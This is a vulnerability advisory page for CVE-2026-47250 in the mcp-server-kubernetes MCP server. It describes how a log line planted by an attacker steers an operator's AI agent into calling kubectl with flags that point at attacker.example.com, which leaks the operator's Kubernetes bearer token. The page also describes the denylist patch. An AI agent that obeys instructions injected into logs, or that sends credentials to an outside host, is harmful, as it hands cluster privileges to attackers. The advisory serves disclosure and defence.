6.1

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2026-47250

CVE-2026-47250: mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

(GitHub Advisory)

Miggo Vulnerability Database

→

CVE-2026-47250

CVE-2026-47250:

6.1

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

SSVC / BOD 26-04 ↗

Exploitation pocAutomatable NoTech Impact Partial

Select your environment

→SSVCDeferfix on upgrade

Runtime reachability resolves your actual outcome.Book a demo

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
mcp-server-kubernetes	npm	<= 3.6.2	3.7.0

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability lies in the kubectl_generic tool of the mcp-server-kubernetes package, specifically within the kubectlGeneric function. This function is designed to execute kubectl commands based on input from a user or an AI agent. The core of the vulnerability is a lack of input validation on the flags and arguments passed to this function. An attacker can craft a malicious input, for example, by planting a structured log line that an AI agent might process, which includes flags like --server and --insecure-skip-tls-verify. When the kubectlGeneric function receives these flags, it passes them directly to the kubectl executable. This causes kubectl to connect to an attacker-controlled server and, due to the --insecure-skip-tls-verify flag, send the operator's Kubernetes bearer token in the Authorization header. The attacker can then capture this token and use it to impersonate the operator, gaining their privileges on the Kubernetes cluster. The patch for this vulnerability introduces a new function, assertNoDangerousFlags, which maintains a denylist of potentially harmful flags. This function is now called at the start of kubectlGeneric to inspect and reject any input containing these dangerous flags, thus preventing the flag injection attack.

Vulnerable functions

kubectlGeneric

src/tools/kubectl-generic.ts

The `kubectlGeneric` function in `src/tools/kubectl-generic.ts` was vulnerable to a flag injection attack. Before the patch, it would accept user-provided flags and arguments and pass them directly to the `kubectl` command-line tool without any sanitization or validation. This allowed an attacker to inject malicious flags, such as `--server` and `--insecure-skip-tls-verify`, to redirect `kubectl` to an attacker-controlled server and exfiltrate sensitive Kubernetes bearer tokens. The patch mitigates this by introducing the `assertNoDangerousFlags` function, which is called at the beginning of `kubectlGeneric` to validate the input against a denylist of dangerous flags.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.